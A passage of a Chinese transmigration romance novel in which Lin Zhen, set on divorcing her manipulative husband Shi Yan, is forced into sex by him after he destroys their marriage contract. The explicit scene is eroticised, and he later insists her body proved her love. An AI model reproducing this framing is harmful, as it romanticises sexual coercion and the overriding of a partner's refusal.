就在林蓁以为他要翻看时,他三两下撕碎了红笺,将碎片一股脑儿投入火烛中。 烛火冒出了黑烟,飘进迟来一步林蓁眼底,她挥手扑灭了烛火,似乎如此就能还原通婚书,室内顿时陷入一片黑暗。 廊檐下灯笼微光透过窗棂映在书房地面,映出林蓁暗淡身影。 她扑在时彦身上,捶打他:“坏东西!” 第70章 第 70 章 谁来都不怕,你是我的!…… 地上桌上散满了通婚书或红或黑的纸片, 林蓁一只手捶打着时彦胸口,一只手徒劳拂过这些碎屑,心中怨恨愤怒达到了顶点。 本意并不想这个时机挑开说亮话,林蓁想象的情形默默搬离毅勇侯府, 远离时彦, 待春闱过后弟弟林承俭过了殿试, 自己亦入了御史台, 那时再与时彦和离,如此把各种负面影响降到最小。 但时彦抓攥她的手腕, 咬牙切齿说出“方怀简”三个字时,那平日温柔小意神色全然不见,露出她从未见过盛怒和狰狞。 那一刻,林蓁似乎看到聊斋画皮鬼撕裂它精美绝伦的人皮,从缝隙中探出头来张望。她不由得汗毛直竖, 不知道眼前人真实模样到底为何, 只想赶紧逃开他,特意拿到书房保存的通婚书变成了她保命法宝, 那上面有毅勇侯府和英国公府两家长辈和保媒人方大将军亲笔签名和手印,恁谁都不可能不认账。 哪知时彦就是一只鬼怪, 根本不遵循人间规则和惯常。通婚书没有了,她该怎么办! “坏东西!卑鄙!无耻!”两世林蓁都没说过粗话, 气愤至极亦只能想到这些词, 拳头在时彦胸前捶得“咚咚”响, “没了通婚书我也会和离!” 林蓁高声囔囔,黑暗中面前时彦像一堵高墙,毫无感情的冷硬,任她发泄毫无回应。 “蓁蓁, 大公子”,门外突然传来云娘声音,“可是没了烛火?我让丫鬟送一些过来。” 林蓁突然让身边人搬到静苑,云娘隐隐觉得不对劲,问又问不出什么,见时彦用过饭后脸色不对,她不放心随后跟到书房来,也没想做什么,就远远看着小夫妻映在窗棂上的影子晃动融融,似乎如此才安心。 她静静看了会儿,正准备离开,窗棂上人影突然消失,书房陷入黑暗,随即林蓁高声呵斥,她尖锐声音在幽静静苑传得极远。 林蓁语速从未如此急促,云娘并未听清她叫嚷什么,但显然不是什么令人愉快之事,她担忧得脚步都有些虚浮,赶忙走近书房,站在院子中间向着黑暗一片书房问了一句。 毕竟身份所限,在时彦面前,云娘只能做到如此。 林蓁旋即收紧了声音,她不想云娘为她担心,只想事毕后告诉她结果即可。 她收回拳头,低声叮嘱时彦:“不许在云娘面前透露一个字!”又转头面向窗棂,提高声量对院子里的云娘道:“没有,我们已经睡了。” 顿了顿,又道:“云娘回去歇息罢。” 院子又恢复寂静,云娘呆愣地望着书房,白日里她刚刚收拾过,那里只有一张榻一床铺盖,预备着小憩时用,睡两个人会极其逼仄,可林蓁都如此说了,时彦亦在里面,她不好多问,应道:“那我回房了,有需要唤一声,碧竹在外厢房。” 云娘慢慢往回走,到二进院门口,迈出院门时转头看向书房,那里仍然黑暗沉寂,忽的院子里似响起什么细微声音,云娘顿住脚步竖起耳朵细听。 柔弱的细微的呻吟声,似初生雏鸟嗷嗷待哺,又似春雨绵绵轻柔吟唱,带着蓬勃生命的律动之声,云娘猛然意识到是什么,虽然瞬间脸颊绯红,但胸口却陡然一阵轻松,俗话夫妻床头吵架床尾和,这书房里的窄榻似乎挺适合他俩,云娘嘴角不自觉翘起,快步离了院门。 在林蓁侧首向外对云娘说话时,时彦这堵冰封住的墙瞬间醒了过来,皮肉疼痛完全比不过心痛,他想不通方怀简向林蓁蛊惑了什么如何蛊惑,一夜之间她天渊之别,意志力坚定行动力惊人,不仅搬了家,还提出与他和离! 他瞧着林蓁的手紧张蜷缩着,按压住激动情绪平静说话,竭力向屋外云娘掩饰,心中的痛如针扎,她谁都在意谁都相信,就是丁点儿不在意不相信他!时彦蛮横搂过林蓁,垂首就吻上她的唇瓣。 林蓁话音刚落,就被时彦堵上了唇,她想挣扎却被时彦桎梏得动弹不得,想叫想骂,云娘还在院中说着话。 心里气愤异常,在时彦不容抗拒侵占她的唇舌时,毫不犹豫一口咬下去,唇齿间瞬间充满铁锈味道,可时彦却如没有知觉的妖鬼,趁着云娘在屋外说话空档,不仅唇舌肆无忌惮,手上亦恣意妄为,一个劲道犷悍地掀开了林蓁裙摆。 他的力气前所未有的大,此刻林蓁才知过去的时彦是多么的温柔,这一刻他似乎暴露了本性,霸道强势不容忤逆。 在云娘的回话声中,他得了逞,林蓁还在用唇舌负隅顽抗,可很快她便失了力一句完整的话也说不出口,趴在时彦身上颤动不已。 时彦实在太懂太了解她。 他双手挽住她的膝窝,用她最受不住的方式侵占她攻略她吞没她。 林蓁的手无力地搭在他的脖颈上,指尖都透着红粉,紧抿的双唇透着丝丝血迹,时不时漏出软糯低吟,她浑身泛起汗意,在狂风骤雨不停歇地高高低低中快速抵达。 然而他似乎故意为之,似要惩罚她的抵抗她的忤逆,不给她一丝片刻喘息,毫不留情地继续…… 潮湿水声中,林蓁不知昏了几次又醒过来几次,她哀哀戚戚语不成句一会儿求他一会儿骂他。 “性不是爱。” “我们不是爱。” “我恨你!” 时彦并不停歇。 不知过了多久,时彦搂着林蓁坐在书几前太师椅上,林蓁叉开腿趴在时彦怀中,他们仿佛长融为一体,完全无法分开。 当然,是时彦不允分开。 月光倾泻在书几上,亦倾洒在林蓁早就散乱的乌发上。 她从未有过如此疲累感受,指尖已没有抬起的力气,连思考亦觉得费劲,两人第一次也没有今晚这般疯狂,仿佛世界末日到来,这是他俩最后一次。 不,林蓁暗想,这就是他俩最后一次,她再不会给他得逞机会。 时彦轻抚着林蓁乌发,亦抚着她的后背,他画皮鬼的恐吓和疯狂面孔全收了回去,只有令人迷醉的温柔和顺和。 “这怎么不是爱,你爱我,你身体很诚实,不像你的嘴说谎。” “我哪里比不上他?你要抛弃我?” “昨日你还说春闱过了就搬回去,今日就这般对我?” “过去你说的不离开我的话才过了几日?” “你恨我什么,你言而无信,我该恨你。” “我不会与你和离,这辈子都别想。” “让他死远些。” 他絮絮叨叨埋怨,似孩童向大人诉说委屈,然而林蓁没有力气也不屑回答这些。 她不会再让自己陷入他的套路,不会和他纠缠这些在她看来细枝末节问题。 然而他聒噪个不停,林蓁想靠在他胸膛上睡觉都被震得耳膜嗡嗡响。林蓁呢喃道:“你是个大骗子!我会与你和离。” “不答应,我就找萧忱。” 她困得不行,都不知道自己在说些什么,下意识对时彦的反应。然而,在说出“我就找萧忱”时,她明显感觉身体里的那部分抽动了一瞬。 林蓁抬头看向时彦,虽然他的目光并未注视她。 她轻笑:“你害怕了?” “现在我们和离,桥归桥路归路,等我去找萧忱”,林蓁抬手想敲一敲时彦脑袋,可惜她实在没有力气,只伸手在他腰部抓了一把,似小猫向主人撒娇,“你的脑袋在不在这里,就要看我的心情。” 她浑浑噩噩,第一次说出这般威胁的话,时彦面色一沉握紧了她的腰肢,身体向前倾住全部力气。 “噢呜”,林蓁发出小猫般低吟。 时彦的手伸进她的乌发,按住她的脑袋不允她躲避,垂首覆住了她的唇舌。 “谁来都不怕,你是我的”。魔/蝎/小/说/m/o/x/i/e/x/s/.c/o/m 70-80 第71章 第 71 章 我帮你出气 碧竹把林蓁叫醒时, 林蓁感觉似乎只闭眼了一瞬 ,然而睁开眼,周围很是不同。 天光大亮,自己独自睡在榻上, 中衣穿得齐整, 身上也没有什么不适, 通婚书的碎屑全没了踪影, 熏香淡淡袅袅飘出博山炉,她紧张地看了一眼床榻, 也没有让人浮想翩翩的痕迹。除了极度困乏,昨夜淫靡似乎只是一个旖旎春梦。 林蓁抬手按了按额尖想缓解困倦,松阔衣袖滑落堆积到臂弯中,雪色玉臂上露出大块红痕,提示着昨夜的激烈, 林蓁赶紧垂下手臂, 目光看向碧竹。 她正专心收拾被衾,并未注意林蓁。 林蓁起身换衣裳, 腰酸腿软得明显,她状若无意问:“大公子呢, 他让你来收拾吗?” 碧竹道:“大公子很早就出了门,让我辰时来叫醒少夫人。” “大公子没叫我收拾呀”, 碧竹视线环绕了一圈书房, 书架和博古架上各种物什整整齐齐, 只有床榻上稍显凌乱,她问:“除了榻上,我还需要收拾什么?” “不用,你去备早膳, 我马上过去。” 碧竹收拾好床榻退出了书房。林蓁走到书几边,把书几上的书仔细翻找了一通。 似乎残梦尚未醒来,还希望翻出通婚书,显然这些举止都是徒劳,那红彤彤的通婚书一夜之间连片纸屑残迹都不曾留下。 林蓁回想昨夜与时彦对话,那会儿她极度困倦亦绝顶甜美快意,神智昏沉恍惚,她应该提过萧忱,那时彦已什么都知道?他从未如今日一语不发一大早离开。 一晚不眠他一大早做什么去了?他会恼羞成怒?还是摇尾乞怜?除了枕席疯狂,昨晚他似乎很平静,并没有恼怒话语,也没有什么让林蓁印象深刻的反应,林蓁有些忐忑。 林蓁如常去了御史台,唯一不同的,没有时彦一路相伴。在不安中度过了一天,傍晚和梅棠一起走出御史台时,时彦马车仍然停在老地方。 梅棠知趣先行离去,林蓁却不想再靠近那辆马车,她有些懊恼早上来时满腹心思,忘了嘱咐静苑车夫来接她。 林蓁拐个弯要走回去,马车上跳下来车夫,小跑着到林蓁面前。 “少夫人,大公子让奴才接少夫人回静苑。” 林蓁看了一眼马车,问道:“他人呢?” “大公子只让奴才来接少夫人,其他的奴才不知。” “大公子交代,以后都是奴才来接少夫人回静苑。” 他一如既往地讨好。 林蓁脚步顿了顿,还是跟着车夫走向马车。 静苑院门,林蓁马车刚停,听到动静的云娘就奔了出来。 她扶住林蓁下了马车,一脸忧惧道:“夫人和方将军夫人来了有会儿,她们特意来找你,脸色都不太好看。” “你可知何事?” 林蓁蓦的心口一跳,知道时彦忙什么去了,他办事效率可真是高效,一天功夫竟然请来方怀简母亲。林蓁问:“时彦呢?陪着她们吗?” “没有,还没回来,”云娘担忧道,“夫人是不是不高兴你搬到静苑?你本不该如此,太任性,夫人亲自来此,我们还是搬回去罢。” 林蓁安慰道:“和这个没关系,我且去会一会。” 林蓁径直来到正厅,两位夫人正在喝茶,谢氏和袁氏脸色看不出好赖,见林蓁回来,袁氏望向她还淡淡笑了笑。 林蓁上前福了礼,问两位夫人可用过膳。 谢氏道:“我们用过了才过来,你定是没有,先去用膳罢。” “在御史台用过茶歇,这会儿不饿。母亲和方夫人特意来此,可是有事?” 谢氏看着林蓁一脸真诚又无辜的脸,心下慨叹不知事情怎会变成这样,亦怀疑时彦是否说了真话,还是隐藏了关键问题,她犹豫道:“好孩子,那我们就直说啦。长辈们都只有一个心愿,就是盼望你们好,你们过好了我们才称心。” 袁氏收敛了笑意,语重心长道:“我们方府是你们小两口保媒人,可希望你俩和和美美,听你母亲说,你们俩闹别扭,方将军急得让我来看看,你可别嫌我啰嗦。” 林蓁脸上挂着礼貌笑容,微微颔首,心里佩服时彦不动声色间各种计算谋无遗策。 袁氏道:“夫妻相处哪有不闹矛盾不闹别扭的?便是上下嘴皮子亦有打架时候。” “只要夫妻同心,向着一个目标使劲,再大困难磨难最终都能克服。可若是一遇到障碍就放弃就撂挑子,那和谁也过不到一块儿。你们俩刚成亲,认识不一有矛盾很正常,多沟通就好啦,可不能随意说放弃的话。” “世之刚醒来时,也是不满意他媳妇。我们都理解他,一觉醒来身边多了个人,自然不习惯,会有天然抵触。可他媳妇日日对他嘘寒问暖,日久见人心,世之也软了心思,现在他俩可和美。可见,只要有克服困难决心,铁杵成针。” “你和时彦原本就有情意,不比世之小两口更好?” “我知你想考女官,你公爹婆母都支持,这多么难得,放在方府,那是根本不可能之事,我那婆母绝不会答应,就为着这么爱惜你的公爹婆母你也得珍惜这段姻缘。” 袁氏真诚劝解,她并不知林蓁时彦具体出了何事,可谢氏都求上门,那必不是小事。且她和谢氏心照不宣,时彦林蓁若散了伙,只怕方怀简姻缘也到了头,那时皇城里挂不住脸的可是他们两家人。 林蓁不语,只低眉顺眼点头。 谢氏想劝,但她没什么底气。当初成亲时她揣测林蓁知晓时彦毛病,可这成亲没几个月,时彦跑来告诉她林蓁要和离,问原因就是不知道,谢氏能想到的原因只有林蓁成亲后开窍,突然明白了夫妻之道而不愿再忍受。 谢氏道:“蓁蓁,你受了什么委屈尽管和我说,我帮你出气。” 林蓁只是点头。 两位长辈苦口婆心劝了良久,林蓁丝毫不表态,既不说是,亦不摇头否定,谢氏心下更是狐疑,她道:“不要闹到英国公府老夫人知道,老夫人年纪大,受不住你们年轻人惊吓。” 可她也知道,当初通婚书最后加上“和离自由”,那可是老夫人主意。 月上中天,时彦亦没有回静苑,就在林蓁以为他再不会来,换下衣裳准备休息时,书房门被推开。 时彦如常走了进来,衣裾带进夜里院中寒凉气息,林蓁噌地一下从床榻上坐起,第一时间反应是叫住碧竹。 “碧竹,没有我的吩咐,你就在这儿,哪都不许去!” 第72章 第 72 章 我们好聚好散 林蓁快速披上衣裳想要下榻, 时彦却已先她一步走到床榻边,他按住她的肩膀不让她起身。 “不用起,我就和你说说话。”手掌触碰那一瞬,时彦感到她似乎浑身战栗。 时彦垂眸看向林蓁, 她的手攥紧被衾, 神情有些紧张, 脸颊上有点儿绯红, 目光看向碧竹,一个劲儿吩咐:“就在这儿, 没我吩咐别走!” 知道她担心什么,时彦拉了个绣墩坐在林蓁榻前,挨近她气声道:“我知错了,我不会像昨夜那样。” 林蓁意外,抬眸看向时彦, 印象中他从未如此直白认错, 语气尤为诚恳,眉眼间有她熟悉无比的温柔, 桃花眼里惧是悔色,面色甚至有些憔悴。 憔悴?林蓁不知自己怎么冒出这样的念头, 潜意识怜惜他?她快被他这张脸这样神情迷惑了? 陡然间林蓁想起来画皮鬼,他好像画皮鬼出去忙活精进了一日, 媚色和功力都大有长进, 林蓁尽力想着他昨夜从罅隙间泄露出来的 那瞬息盛怒模样, 然而语气还是软了下来。 “你要说什么,碧竹得在这儿。” 时彦回头,吩咐站在门口进退两难的碧竹:“少夫人让你别走,你就这儿陪她。”眼神示意碧竹坐在离两人最远的窗下半月桌边。 碧竹识趣坐过去, 背对着两人。 林蓁心下缓了口气,她实在害怕他又压着她来一回,不想有难以磨灭灭顶快意,一次又一次加深脑海里对他的印记,她不想再想他,无论好或坏。 林蓁垂下眼眸,问道:“有什么你快说。” 时彦伸手帮她掖好被衾,顺势握住林蓁的手。像触碰到碳火,林蓁急忙甩开,却被他紧攥着不放。 时彦看她:“蓁蓁,一夜之间都不能握你的手么。” 没法宽容地容他为所欲为,可反抗好像也没什么用,林蓁停止抗争,催促道:“你想说什么,我很困,想早些休息。” 时彦握着林蓁的手,轻轻捏她的指尖,他倾下身挨得林蓁很近,林蓁甚至能感受他肌肤上的热意,她想挪一挪,可这只是书房里一张极窄的小榻,实在没有多余空间给她腾挪。 时彦气声:“蓁蓁,我错了。” 他神情既悔恨又落寞,“以为你喜欢,过去你不是从来都很喜欢,总让我好好爱你么。” 林蓁脸红,她别开脸:“这些就别说了!” “我以为那样让你欢喜,不开心的事情就会过去,我们还和以前一样。我错了,以后你不同意,我不会像昨夜那样。” “我最大的错,不该欺骗你,我确实知道你是萧忱妹妹。” 他和盘托出?林蓁本以为他还会狡辩些什么。她抬眸迎上时彦目光,他的眼眸透亮,真诚得让人联想到无邪的孩童,可实在被他骗了太多次,林蓁对视了须臾,还是移开了视线,不确定他又在谋划些什么。 “我从不敢说,因为我知道,说出来你就会离开我。今日这般,你怎么做我都不怨你,但我还会努力,我不会放弃你,我努力让你看到我的真心。” “我有私心,但与你成婚那刻,我真心实意想与你白头偕老。” “这么多日夜,我俩日夜相拥,一夜夫妻百日恩,我们之间不知道有多少恩,我怎会舍得你呢。昨夜我很不应该,但我不后悔,因为昨夜那样我才深刻感受到,你嘴上那样说,但还是爱我喜欢我的,如果你对我心如死灰,你不会是那般反应。” 林蓁的头垂得更低,她不想时彦看出她情绪波动,她当然舍不得他,可她过不去心里那道坎,一想到他别有居心与她成婚,对他的信任崩塌得彻底,她无法再相信他,他所说所做她都充满了怀疑。 “你先住在静苑,看我的表现好不好?”时彦祈求,眼神似摇尾乞怜无家可归的小狗。 林蓁摇头,问道:“你说三年后穿来也是骗我的,对吗?你怎会知道我前世父母模样?” 事到如今,谢氏袁氏都上门晓以利害,林蓁仍没有松动之意,时彦已完全明白,他没有再在林蓁面前继续说谎的空间,能让她回心转意的唯有自己诚心。 曾经谋划此事的许多夜晚,他假设过这一天,他做过最糟糕情形下的方案,谎言被识破,他该如何自救最大可能挽回,继续实现自己既定目标,他想过许多许多。 可真的到了此时,他明明有原定的方案,却不愿意再想起,不愿意继续补丁一个谎言,因为他不再是从前的自己,不知不觉他投入了情感,他沉溺其中,他不想自己和林蓁是冷冰冰方案里的npc,他想他渴望林蓁的真情,她凝视自己时的专注,未见到自己时的牵挂,他想是她心里的一团火,让她欢笑让自己愉悦…… 时彦默了默,叹了口气:“让我想想,从何说起。” 他抿了抿唇角,对林蓁讲起了他的前世。 讲到他在新世纪广场负一楼看到惊心动魄的那一幕,讲到他为什么会送十字架项链…… 林蓁大脑都不够用了,先是讶异得合不拢嘴,再然后眼眶湿润心中酸涩,后面听到父母那一刻时,忍不住涕泪涟涟痛哭失声。 不知怎么回事,林蓁不知自己怎么滚进时彦怀里,等她意识到时,她已紧搂着他的腰大哭,她不知道自己究竟哭什么,或许有前世的父母,或许有今世的亲人,或许有对自己的怜爱,或许嗟叹命运的阴差阳错,只觉心中空空,曾经的甜蜜只是幻像,绚彩泡泡戳破后心中只有悲苦…… 时彦一只手拿着巾帕给她拭泪,一只手顺着她的后背轻声安慰:“蓁蓁,那一刻我意识到是你,我就决心和你在这个时空好好度过一生,一个我俩都圆满的人生。” “我再没有任何隐瞒,我们重新开始好不好?” “这个时空里,我们想自由自主的生活,就得站在权力最高处。 我若只甘于平平无奇武夫类似时隽,或者一个普普通通小吏像林若柏,得到的结局是什么呢,时隽一身残疾郁郁寡欢孤老终生,你的父亲不过当时在潭州任职,就被废太子案无辜牵连,回京后不复重用,多少年悒悒不乐。 我们俩都是现代人,怎能穿到这里知道了剧情,还过得这么憋屈?!” “我不会为任何一个皇帝卖命,我也不想被任何人支使,我只为我俩今后美好生活全力以赴,蓁蓁,你现在都知道了,再给我一次机会好不好?最后一次。 我再没有什么骗你,你要是不相信,给我一点儿时间,先看一看我的所作所为,再做决定好不好?” 林蓁埋首在时彦怀里,她很有些恍惚和迷失,时彦这次所说大概率没有骗她,可他一目了然的希图和她不想认亲的想法格格不入,归根结底,他还是想继续他上一世富贵荣华。 林蓁想起时彦奋勉日常,不是在户部忙碌至天黑,就是和婆母在田庄在商铺里巡查,和她同游红枫寺那日应该也是他特意讨好而为之,他所有行为都是有的放矢,没有毫无意义的闲适时刻和毫无心机的随性而为,她第一次意识到,他和她从来不是一路人。 上一世他和她就处于两个完全不同的阶层,这一世如无意外,他会成为国舅,一人之下万人之上,他的期望和憧憬,他想人上人他对权力的渴求,都不是自己希望的生活。 她也给不了他心目中的期待,和他在一起,她只会成为他可有可无的附庸,永远不会变为他所期冀的助力。 林蓁忽的直起身子,习惯了时彦怀抱的宽阔温暖,很久没有伤心哭泣,一时惯性使然般依赖他,可她也独自生活了十几年,好好活到现在,离开谁都能过,不是么。 抹了把脸上泪痕,林蓁钻进被衾里,她躺平身体,把被衾拉上将自己遮盖得严严实实,只露出一双眼睛,仿佛被衾就是自己最安全的角落,她抬眸看向时彦,淡声道:“如果我不是天子遗落在外的孩子,你还会这样说,还希望和我在一起吗?” 在林蓁搂着自己呜呜咽咽哭泣时,时彦都以为快哄好了她,可突然间她推开自己钻进被衾,语气疏离,和好如初的氛围急转直下。 时彦忙道:“你是不是天子的孩子,我都会如此说。” “我就想和你在一起,和从前一样,和昨夜和前夜和我们每个夜晚一样。” “你中有我我中有你,永远不分开。” 他回答得不假思索,若是以前,林蓁定然相信,可能还会感动得热泪盈眶,可在知道了这么多事情后,林蓁感受 悄然变化,他的回答过于顺畅过于讨好过于油腻,没有任何思考,似乎她再说个什么别的,他也会一口应承下来。 林蓁微微叹了口气,没有如果,她是天子的孩子,时彦真实心思是什么,她永远无法知道,她对他的信任已经垮塌,不知何时能够重建,也许永远无法恢复,现在她仍然没有改变主意,没有任何期待去恢复信任,只想两人分开。 她侧过身背对着时彦:“我实在困了,你去卧房休息好么。” 两人交流分明已经看到曙光,时彦自然不肯离开,飞速回想刚才所说到底哪里惹林蓁不快,让她松动的态度软和的心肠突然又硬了起来。 “方怀简在你心里那么重要么,他虽然和你好过几年,但那都是多少年前事情,我只是时间短,他能为你做的我都能做到。” 时彦俯下身几乎贴着林蓁,脸颊离她的侧脸不过寸许,柔声祈求,“蓁蓁,给我一些时间。” 林蓁已经闭上眼眸,她极力忽视他的气息他绵柔语气,“和他没有关系,是我没有办法再信任你。” “我们好聚好散罢,你不至于离了我活不出来,我离开也不影响你什么,时姝会嫁给萧忱,你会是国舅爷,除了萧忱,没有人能支使你。” 时彦身体僵住动作凝滞,看着她樱桃般诱人的唇一张一翕,红艳如火吐露的却是冰棱。 她的声音冰冷得毫无感情,哀哀苦求做低伏小也换不回她一丝怜悯,即便初识那刻也比不过此时无动于衷,时彦嘴里蓦地似乎生出一股铁锈味,昨夜她咬得可真疼,她多么怨恨才能如此待他!他不甘道:“方怀简母亲都上门来劝你,今晚你该明白,便是你我和离,他也不可能娶你。” 林蓁猛地睁开眼睛,她翻过身怒视时彦,气愤得发抖,她质问道:“你故意的,对不对?你特意让他母亲知道!你特意请她登门!就像当初你特意请她保媒!你全是算计!你心思歹毒!” “我告诉你!不管我和飞飞如何,我都不会再和你继续!” 碧竹在两人窃窃私语中趴在半月桌上睡着了,这会儿突然被林蓁高声吵醒,就听得林蓁最后一句话,她心里一惊,偷偷回头瞄了一眼。 林蓁拉上被衾蒙住头,把自己遮挡得严严实实,时彦想出手安慰解释却无从下手,他隔着被衾想牵住林蓁的手,“不是你想的那样,你听我解释。” 林蓁推他打他:“别碰我!大骗子!坏东西!我不想见到你,你走!你走!” “我是一定要和离的!” 碧竹赶紧回转头,心里肝胆俱裂,和离?!怎么会?!她不知发生了什么,六神无主,坐立不安。 就听时彦道:“太晚了我们不说这些,你早些休息。” 他的脚步声往门口这边来,碧竹忙起身给时彦开门,时彦向她点点头,嘱咐道:“照顾好少夫人。” 碧竹合上门扉,疾步跑到林蓁榻前查看,她已拉下被衾,侧身背对着碧竹。 碧竹不知如何安慰才好,愣了半天,才道:“大公子走了。” 见林蓁鼻翼微微翕动,又道:“小姐别伤心了。” 林蓁哑着嗓子:“我没事,你去隔壁厢房歇息,别和云娘说今晚的事。” 书房陷入黑暗。 林蓁本困乏不堪,可此刻万籁俱寂,望着窗棂上月亮西斜,林蓁竟然睡不着了。 眼泪一滴一滴从眼角溢出,像不歇泉没有止境,淌过鼻梁,与另一边的泪水汇合,变成小溪流淌进乌发中。 对方怀简本已放下了心思,可在时彦反复提及时,那些藏在内心深处的爱意和委屈如炸弹遇到引线,冲破层层阻碍一飞冲天,在心里散落得到处都是。 如果没有时彦故意,她和方怀简应该是很登对的一对,他俩都胸无大志,心里装满小情小爱,她为他说谎翻墙,他为她买醉举刀,可造化弄人,在她下决心和离时,他已成了亲,妻子还是因冲喜而嫁他的表妹。 如同自己对时彦的信任坍塌,方怀简与表妹和离意味着他君子人设的崩塌,他不可能与表妹和离,和离意味着他在皇城官场前途尽毁,没有人会信赖和提拔一个抛弃无辜发妻之人,而发妻对他还有救命大恩。 春闱过后,自己的官场之路会一条路走到底,命运总是如此戏剧,这本不是自己初衷,今后却是自己必须坚定不移的道路,无论为方怀简还是自己的前程,两人间男女情意亦该彻底划上句号。 兜兜转转,自己仍然独自迎接接下来的人生,林蓁抹了把眼泪,也没有什么不好,梅棠做的就极好,怀瑾握瑜,嘉言懿行。 此时已是九月底,更漏声残,林蓁被衾没有一点儿热度,她把自己团成一个粽子,也未感觉暖和几分。不知是身冷还是心冷,林蓁自己也弄不明白,在床榻上翻来覆去。 不过几个月时光,她竟对过去十七年习以为常独自睡眠不习惯了,她大睁着眼睛看着屋梁,强迫自己不去想时彦,不去想他的亲吻他的拥抱他的滚烫,还有能让自己秒睡宽阔胸膛和“咚咚”心跳声。 林蓁最终拥住一个大倚枕,它比时彦柔软舒服多了,她这样想着,慢慢阖上眼睛。 第73章 第 73 章 再见你,好开心 翌日林蓁起床, 时彦倒是没走,等着她一起用早膳。昨晚两人把话说开,林蓁态度已明明白白,她回不到过去, 心态不复往昔。林蓁心里揣着心事, 吃东西没甚胃口, 可看时彦, 他好似无事人般,该吃吃该喝喝。 他是不是把她和离的话当小孩撒气, 听过就算?林蓁极想和他再强调一下自己决定,可丫鬟们尤其云娘都在跟前服侍,她憋着话不能说,心里恼意越来越甚。 见时彦吩咐厨房丫鬟备他晚饭,林蓁更是气不打一处来:“我昨晚和你说的话, 你都不记得了?你以后去侯府吃饭!” “我们是夫妻, 没有和离,我为何独自回侯府?”时彦淡看林蓁一眼, “一日不和离,我一日就和你在一起, 回侯府吃饭也是一起。” 林蓁恨不能把热粥浇他头上,让他脑袋醍醐灌顶!和他交代过莫在云娘面前提, 他明明不愿意和离, 偏偏一口一个“和离”, 生怕没人知道。 林蓁紧张地看向云娘,她正垂首和厨房丫鬟低声说话,林蓁自欺欺人认为云娘没有听见,她也没心情继续和时彦呆一个桌上, 唯恐他再说些什么,放下筷箸道:“我吃好了,我先出门。” 她正要起身,时彦眼疾手快攥住林蓁衣袖,抬眸看她:“我不说话了,你把粥喝完再走。” 林蓁看他就烦,怎会依他,她站起身回道:“以后我坐静苑马车,早晚都不用你接送。” “行,”时彦答应得爽快,“你坐下把粥喝完。” 他迅速地擦了下嘴:“你慢慢吃,我不碍你眼。” 在林蓁站起身还没来得及下一个动作时,时彦闪身出了门。 林蓁看向云娘,和云娘目光交接,她似乎什么都看明白了,她眉眼低垂,平静嘱咐道:“他都走了,你再吃点儿吧。” 林蓁重新坐下,拿起自己筷箸,她从未吃过如此令人烦躁的早膳,时彦已经离开,可她心烦意乱,吃得一点儿不心安,云娘看出她的心思,叹声道:“白日你安安心心做事,什么都不要多想,一切晚上回来再说。” 就像打开了什么开关,眼泪“啪”一下滴落进粥碗里,林蓁赶忙垂首,把头埋在粥碗上连喝几口。 后脑勺上轻轻落下一只手,柔柔摩挲抚慰。 虽然云娘让林蓁什么都不要想,林蓁亦极力如此,埋首进御史台故纸堆不想抬头,可一有丁点儿闲隙,脑子里不可抑制冒出各种想法,和时彦的,和方怀简的,和弟弟林承俭的,甚至有和萧忱的…… 今日还是和方怀简约定的三日之期,林蓁更是忐忑。 昨晚她想得清楚,她要和时彦分道扬镳,她也不会再回头去寻回方怀简,各自向前走,于他于 自己的前程才是最佳选择。 曾经她如痴如狂迷恋方怀简,不过几个月,她经历了一个和方怀简和飞飞完全不同的时彦,这个男人让她当下想法和当初截然不同。 人生就是这么无奈和奇妙。 午膳林蓁刻意用得慢些,让梅棠先走,她慢吞吞用完午膳,在御史台游廊上缓步行走,目光四下漂移,在各种隐蔽处寻找方怀简身影。 走到游廊一个拐角,迎面差点撞上一个人,抬眸就见心念之人,方怀简眉宇轻扬,从容弘雅,正凝目看着自己,林蓁心颤了一瞬,赶忙向四周张望,发现身处这个拐角视线存在死角,外人不走近根本发现不了两人,林蓁这才稍稍心安。 “飞飞”,林蓁轻唤了一声,方怀简上次见面时要她如此唤他,那时她没有多想便照做,此刻林蓁意识到,这个曾经在彼此间特别亲昵的称呼,有些不合时宜。 方怀简淡淡一笑:“再见你,好开心。” 他眸色温柔,弯起的唇角似新月,语气如春日和风,似乎此处不是御史台,而是两人闲庭信步在某处花园偶遇。 可林蓁心境大不复前,这个时空里他俩已经错过,这样俊雅郎君与自己永远都是平行线,可以一路相伴似乎无限接近,却再不会有交集。 林蓁垂眸避开方怀简视线,淡声道:“我问过云娘和时彦,我俩的确穿进了那本书。” 方怀简并不意外,只是问:“时彦怎么说?” “他换了个说法,我觉得这次是真的。” 林蓁把时彦所说捡关键内容简单复述了一遍。 方怀简神色本似春晖光华,听到时彦谋算几年,几乎在自己和林蓁相处的各个关键节点设置陷阱,那脸色是万里晴空飘来暗沉乌云,遮天蔽日全是暗晦。 林蓁注意到他脸色变化,许多细节隐了去,言简意赅说完。 “他不愿意和离,但我不会回头。我会尽快与他结束,安心明年春闱考试。” “他不答应,你打算怎么办?” 林蓁不知道怎么办,她的通婚书被时彦撕毁,虽然人证俱在,但保媒人和英国公府里的长辈是否愿意出面,她实在没什么信心。 唯一可行的认回公主身份,如此无论时彦做什么都是螳臂挡车。只是林蓁实在不想走这样一条路,至少春闱前她绝不想认亲,她担心皇室会迁怒英国公府,影响弟弟林承俭前程,何况书中公主下场凄惨。 对于萧忱,她也担心回归身份后成为他的拖累。书中公主不仅在萧忱和时姝感情上作乱,更时不时闯祸由萧忱收拾烂摊子。林蓁虽不会那样做,但知道这几年是萧忱皇权争斗的关键时刻,她既然帮不上什么也不想成为累赘,变成萧忱弱点,成为其他皇子攻击或者谋害目标。 方怀简看出林蓁犹豫,他微微敛眉:“你不想尽快认亲吗?再没有人可以欺负你。” 林蓁对上他的目光:“我不想。” 方怀简轻轻叹了口气:“你为别人琢磨这么多,可没人会考虑你的困境,你自以为的牺牲根本没人知道!” “去认回你的身份,平安玉没有了,可见过你母亲的人那么多,只要你愿意,明天就可以把时彦扫地出门!” “别人为了权力汲汲营营,你别犯傻,唾手可得的钟鼓馔玉紫袍玉带弃如敝履。” 林蓁有些诧异,飞飞不是钻营权势之人,他的兴趣爱好集中在许多技术层面的解构,印象中方怀简也不是这样性情。 心里犹豫,林蓁问道:“你希望我快点和他分开?” “我当然希望,但更希望你在这个时空过得好些。” “你辛辛苦苦每日跑到御史台来,或读书或研习,劳心劳力。可你本是公主,根本不需要如此,做什么不都是一句话?不需要没苦硬吃。” 方怀简停滞片刻,过了一会儿淡声道:“我托人引荐,昨日见过萧忱,不出意外以后会为他做事。” 林蓁讶异看向方怀简。 “他是天命之子,我跟随他以后便是从龙之功。” 